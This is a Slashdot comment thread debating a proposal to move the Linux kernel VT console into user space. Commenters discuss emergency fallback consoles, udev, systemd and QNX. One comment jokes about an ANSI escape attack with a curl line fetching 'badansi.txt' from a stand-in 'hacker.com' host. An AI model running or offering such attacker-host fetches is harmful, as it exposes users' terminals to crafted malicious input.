Moving the Linux Kernel Console To User-Space
jones_supa sends this quote from Phoronix:
"David Herrmann has provided an update on his ambitious initiative to kill off the Linux kernel console. Herrmann has long been working on making the Linux kernel CONFIG_VT option unnecessary for providing a Linux console by punting it off to user-space. The Linux kernel VT console hasn't been changed much in the past two decades and Herrmann is hoping to see it replaced with a user-space solution he's been developing that would allow for multi-seat support, a hardware-accelerated console, full internalization, and other features."
if something have any purpose, why should we kill it?
Lets not mess with the TTY's they are STILL NEEDED for when things go wrong...
making console depend on layers of complexity in user space, yeah that'll all be there when things go south.... the console is there for emergencies, needs to depend on as little as possibile
Being able to press ctrl-alt-f1 when anyting hangs the X server is why I feel more at home in linux than in windows or OSX.
If it works, don't fix it
So, it's relatively unchanged for "two decades". No one is complaining about it. It doesn't really seem to require improvement as it does what it needs to.
Yea, let's completely gut the system, move it to user space, introduce a metric shit ton of unexpected and undesirable behavior because... Well, Gnome is changing.
This could be an essential part of GNOME 3!
I generally agree although I also don't think it needs to be quite as sophisticated as it is. But that said, answering my own criticism, does supporting multiple character sets, colors, and screen sizes really add so much bloat it'd be worth stripping it down?
You are not alone. This is not normal. None of this is normal.
I can;t wait to hear Linus' response to this plan. I expect it to be something like...
How 'bout noh! You crazy Dutch bastard.
a hardware-accelerated console
Why?
CDE open sourced! https://sourceforge.net/projects/cdesktopenv/
making console depend on layers of complexity in user space, yeah that'll all be there when things go south.... the console is there for emergencies, needs to depend on as little as possibile
Ain't broke. Nuff said. Okay..., maybe not quite, but let's solve the problem(s) without creating new ones. And yes, busting the console most definitely will create problems.
Good troll, but the better analogy would be car steering wheels haven't changed in decades. They're all round and don't come in many colors or properly support knee control. So, I want to move them into the back seat so they don't get in the way.
When I read "a hardware-accelerated console" I though that it must be a joke. This whole story. /. headlines...
Bravo! He made it on
(otherwise this kind of idea could have made me feel quite anxious)
Amen. Probably to have best of both worlds - keep minimal dumb terminal (think serial tty or basic 80x25 text) for such emergencies. init=/bin/sh is a nice thing to have.
Learned something new today - because, until now i was always assuming the console already did run in user space, and was as friendly to print kernel messages.
A glitch a day keeps the bugs away.
The linux kernel console; a lightweight, lightning-fast TEXT console not depending on X or anything else. Who needs it, eh? Are you kidding me? This is an imbecilic idea. If you must have pointless cruft like this, add it IN ADDITION to what has ALWAYS worked perfectly, is super reliable, and super simple. Hopefully set it up so that any mature user can leave this garbage out of his system.
This is just a continuation of the systemd, Gnome 3 type of insanity.
The way things are going, BSD, here I come. An OS by adults, for adults, not a would-be Windows me-too with stupid people gradually one-by-one breaking everything that has made linux great - up until now.
No. Step away from the console.
A fancy console would be nice as long as you can fall back to the old one. I'd hate to be locked out of a systems because some random video driver issue, font issue, unicode issue, or input device issue broke the new one.
It can already fail for such reason.
However what could change is that the userspace console process could be killed by the OOM Killer.
Also make sure you're not dupilcating effort. If you're going to put the console in userland anyway, maybe make is share bits with your GUI.
There is effectively some potiential for better integration. What about a console running over Wayland?
I'm guessing it has not changed much because it's simple well understood.
RTFA: "it's a user-interface in kernel-space, the code is poorly maintained, handles keyboards badly [...]"
I suggest 2 different consoles, neither of which would need to be there for the kernel to do it's thing of running user space processes. One would be an optional in-the-kernel console complete with an in-the-kernel shell. Trim down it's capability and keep it small. The other would be an optional all-user-space console which can use the many user-space shells we already have, or any other program we want. PTY's definitely need to be pure user-space.
now we need to go OSS in diesel cars
I think it should require Unity and a touchscreen
had funny thought, this might work in MINIX kernel architecture, but not monolithic one
I await the new console with gesture support. There is one gesture I regularly make to systems that are so broken I have to use the console.
Off-course like the Costa Concordia?
then you aren't really using a "failsafe" console. Even Windows has this with it's "Special Administration Console" / "Emergency Management Services."
When I was building custom kernels for my server I would remove the VT support. Pure serial.
So I don't care. Sounds good from a design standpoint. Should have the least in the kernel possible - simple = robust.
From TFA (to save your delicate eyes from the indignity of RTFA):
Let's look at this one item at a time.
Welcome to the Panopticon. Used to be a prison, now it's your home.
How about a more informative introduction? All of the concerns raised have been addressed. If only people would avail themselves of a more complete understanding before vehemently opposing any sort of change, the world would be a much better place. If not though, the least you could do is keep quiet if you refuse to inform yourself.
This isn't change for the sake of change; the present VT system is seriously lacking, and has been since its inception.
Are *nix developers bored or something? As if the udev/systemd/initscripts changes weren't enough. What possible good can come from messing with TTY?
Things being around for a while doesn't make them automatically needing replacement. That's Windows logic.
Oh well, there'll always be sensible fork.
My normally headless file server has a low-end nVidia card in it. This machine has no GUI, just the text console.
Video output of the text console on this machine does not work without installing the proprietary nVidia drivers. I just get garbled noise on the screen otherwise. This boggled my mind. It's a bug in the Nouveau drivers the kernel loads by default, of course, but the fact that video card driver bugs were preventing me from using the machine's text console...
It turns out that at some point the linux terminal switched to a GUI mode rather than using the actual character output mode. Hence why you now need graphics drivers for the most basic use of a machine.
Running the console in User Space really meaning running a kernel thread in the unprivileged mode of the CPU. If you do a process listing on a current system, most of the PID's < 100 are user space threads launched from within the kernel itself and part of the kernel code base. These include things like USB management, software RAID, swapd, ext4-dio-unwrit. They don't create external dependencies. The chief benefit is that failures in those threads can't take the whole system down. I'm surprised we haven't seen a carefully crafted ANSI console attack hack circulating out there. "Hey kidz, try this: curl h**p://hacker.com/badansi.txt"
While I fully respect the concern of preserving the access of last resort as it is, the only "emergency" I ever have ever needed to use a physical console is when network connectivity goes belly up and you have to fix the network configuration to the point that you can SSH back into it again.
This is a boring sig
I have already accepted that the linux I grew up on in the late nineties was killed (sometime in the mid-thousands I think, I was too busy working in .NET at the time to notice until I moved back to linux ~2009) and replaced by a completely opaque box, where everyone chides you for even thinking of recompiling your kernel ever because it will break everything, just choose one of the pre-compiled ones made by your linux masters.
I remember a beautiful simple system where everyone recompiled their kernels, it was simple and expected; and the system's components were independent enough to roll with changes like this, where running console-only didn't make you out to be a weirdo and switching versions of X wouldn't break every piece of your system, rather it would just switch your X.
Recently the linux I have met is a nice windows replacement. It acts like windows, I use it like windows, and the whole thing breaks if I try to change anything under the hood like windows.
Perhaps it's time to go back to FreeBSD, where simplicity was always the purpose, I sure hope in my time away from it (10 years now) it hasn't been won over by the dark side like linux was...
Or to be more succinct... http://www.dreamsongs.com/RiseOfWorseIsBetter.html linux has become worse to become better.
At least Upstart has initscript support.
Seeing Linux in quite a number of embedded applications, I would say yes... also, just because it is in user mode, doesn't mean it has to be loaded with everything in user-space to be available at the core... It does make more advanced options available, and more easily swapped out, or removed altogether.
Michael J. Ryan - tracker1.info
Slashdot: News for Luddites, stuff that scares us.
FreeBSD should still be good for you. If not, go play with OpenBSD.
For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
I used Linux in the late 90s and I really don't miss my younger siblings crashing my Linux machine by switching back and forth from X to console too quickly. I also don't miss having to enter modelines to get my screen working or write my dialup scripts from scratch.
FYI I don't know what distro you are using but I still recompile since precompiled kernels don't come with things like RDP (I'm experimenting). It's even easier than it was in the 90s.
So just a seven character file with File:/// then? :)
Slashdot: where don knuth is an idiot because he cant grasp the awesome power of php
when you're just installing, and there's a problem, or the system's crashed? Will there still be a real console in system space?
mark
QNX, the real-time message passing operating system now owned by Blackberry, does all "console" handling in user space. They've done that for years. That's because, in the embedded world, you can't assume the target machine has a console, or even a serial port.
When you build a QNX boot image for an embedded system, you can add any programs you want to be available as soon as the system boots. All device drivers are in user space, so that's how the initial set of drivers gets loaded. You can also load applications that way. Having a file system is optional. If necessary, all software can be in a ROM. This allows scaling down to small embedded devices.
A serial console program is available, and is loaded into most systems that have a serial port. There are other options for systems that don't have a serial port, like connecting it to a network.
There's also a system logger. It's common to have the system logger log to some network destination elsewhere, so problems out at Pumping Station 42 are reported to the control center far away.
Linux has tried to emulate this architecture. More drivers are in user space. But in Linux that was an afterthought, and it shows.
And that only takes down one user process without taking down the whole system. That's an example of a bug in a common library. It's similar to all the sprintf exploits over the years.
This is a boring sig
It's not exactly a standard option on all machines these days. I have a USB-serial adaptor to plug into my servers, but if the box that has the issue is the one with no serial port, well....
Linux is ever so slowly turning into Minix.
http://michaelsmith.id.au
The feature set of the Linux VT console has been intentionally limited from nearly the start, and the line has always been: if you need more than this, do it in userspace. There has been several projects which have, for example kon2 which provided CJK functionality -- not something that one can sanely do in the kernel because of font size; similarly, Arabic/Indic font shaping is just plain too painful. For most people, the solution has simply been to bootstrap out of the console as quickly as possible, most of the time never even showing the console. What you find pretty quickly is that if you want something that is fully featured you end up with something that is as complex as X or Wayland anyway, and then you might as well go straight there. The in-kernel console will remain, of course, as an ultimate fallback. If someone wants to give users more options, more power to them.
Most end users can safely disable kernel console, as they will not have skills to debug problems that prevent basic GUI from coming up. On the other hand, for developers debugging such problems, its hard to argue against a fail safe kernel console. How are the developers of this replacement user space terminal planning to debug their code?
KMSCON is also highly modular with its only hard dependencies being libxkbcommon, libudev, libpixman, and glibc. The DRM library (libdrm) is optional.
I was going to write that this isn't too bad, but then I saw bloody udev. You may not be interested, but I wanted to try out KDE 4.10, but I wanted to try it before making the move for real. So I installed a whole system in a chroot and enabled the testing repositories in that. To my surprise, X11 would start in the chroot, after things like /proc and /dev were properly bind-mounted. The *only* thing that didn't work was the keyboard and mouse. The reason? Auto-discovery with udev. So all of the complex beast that is Xorg could start, but the minor niggle of the input devices wouldn't work. Disable udev auto discovery in xorg.conf -> all is well! Well except the sound used Alsa instead of Pulseaudio. Seems like only the new stuff in Linux breaks. With every new fancy layer of abstraction, we seem to lose a little stability and gain a few features. Pulse is worth it for me, as I can change between my two sound cards while playing sound, for example to put on headphones when watching a movie and it gets late. It seems to me that distros did auto-mounting of removable devices in 2005 so I don't really know what benefit I get from udev/udisks. And because I have hundreds of snapshots of my block devices, the KDE file manager chokes for seconds every time I start it. Not worth it. Having anti-aliased fonts for the rare time I use the kernel consoles ? You got to be fucking kidding me.. (I used them extensively when setting up X in a chroot, and while I'd love to have a mouse and copy/paste, I don't want to think about the additional breakage that would happen with a "better" console)
http://0pointer.de/blog/projects/the-biggest-myths.html
Why are we wasting development time on this?
This is the biggest example of "If it ain't broke..." ever. This code is ROCK SOLID STABLE, and has been around for decades. Just because something is old does not mean it needs to be replaced if it performs its function well.
Let's not mess with this code and introduce new bugs unless there's a good reason. If a year down the road I find systems crashing because of console code issues, I'm going to be PISSED.
Then compile it out of the kernel in embedded applications. The kernels on those applications are all custom built anyway.
God is imaginary
poettering should make it part of systemd! problem solved!
Its capabilities are fine. Don't trim them down just for ideological reasons. If you want some full featured terminal, just write one for the framebuffer. They already exist. If you have a KMS/DRM2 enabled system, it'll be hw accelerated too. Or just run a term in X and be done with it. Leave the system console alone.
Of course the Linux that was in the mid-to-late 90s is dead, but it's not difficult to rebuild kernels, or have weird configurations at all.
/boot and make an initrd for you.
I've got a Linux box running on a set of eclectic hardware working as an arcade machine. The monitor needs very special and specific modelines to run, hates KMS, and has some hardware that does not work right under the standard HID input driver. The machine is currently running Fedora 18 and I build a custom kernel with a patch for HID and KMS, and a very funny looking X config. This stuff is not any harder to do, in fact building a kernel was easier than back in the day. "make install" will actually put the kernel into grub, throw it in
Of note, switching versions of complex software like X would break your system back then too, just as bad, if not more so. APIs back then were way more unstable, changing from time to time, and upgrading something that had a lot of dependencies would usually lead to breakage back then.
Honestly I'm glad that now people are predominately using stock distro kernels, making things saner in the support realm. It is not beautifully simple to build your own kernel if you don't know what you're doing. There's a huge amassing of various options, subsystems, and drivers that is daunting for someone who deals with low-level system configuration, let alone some new user. These distro kernels are much better for updating, are well-tuned for most applications (most people will not do better in hand-tuning a kernel, but it is possible to do better) and honestly it's not wasteful to use a few extra kilobytes for this or that in a kernel when you have gigabytes of memory.
If you want to go to something that requires by-hand configuration for every component and doesn't have the ability to configure itself to reasonable defaults, be my guest! I'll stick with things that work most of the time, personally.
There have been a lot of improvements in Linux, but there has also been a lot of dane brammage shoveled in. Most of it is in userspace, but sadly, not all.
Gnome finally exceeded the maximum height BS can be piled and people are switching in droves. I have to agree that the new startup methods are mostly crap. I see no reason to pile in that much poorly documented crap to save 5 seconds at boot time (especially when we're not supposed to need to boot all that often).
I believe GP is referring to the situation in Fedora (perhaps changed now). For a while, it would break fairly badly if you dared to go back even a single sub-minor number on your kernel.
I am definitely NOT fond of grub2's configuration system. They took a simple and sane config and turned it into a 20 headed hydra full of config files and scripts that write config files. It's a very complex solution to a very simple problem and it needs to die. I have similar feelings about the way /dev is handled now. I can live with devices appearing and disappearing, but wit's with the bazillion little cryptic files.
It really IS becoming more opaque like Windows.
I certainly agree about the modelines. Good riddance to them. DDP is a win!
As long as it works when I need it such as when I want to play nethack or when I borked my system up when I'm experimenting, I don't care. If it makes my system function like the current version of Debian testing and I lose access to tty 1-6 because I started X on tty 7 I am against it because I needed those.
Perlsix - Second system dun goofed.
"I'm sorry... I can't let you do that Dave."
replacing an oil dip-stick with a digital gauge that shows a dip-stick image.
AB HOC POSSUM VIDERE DOMUM TUUM
I recommend watching at least the first 5-10 minutes of the talk Herrmann gives, in the video on the linked page. He addresses all of the concerns I've seen in comments here.
As projects grow, to me the question is not whether things should be changed, but how they should change.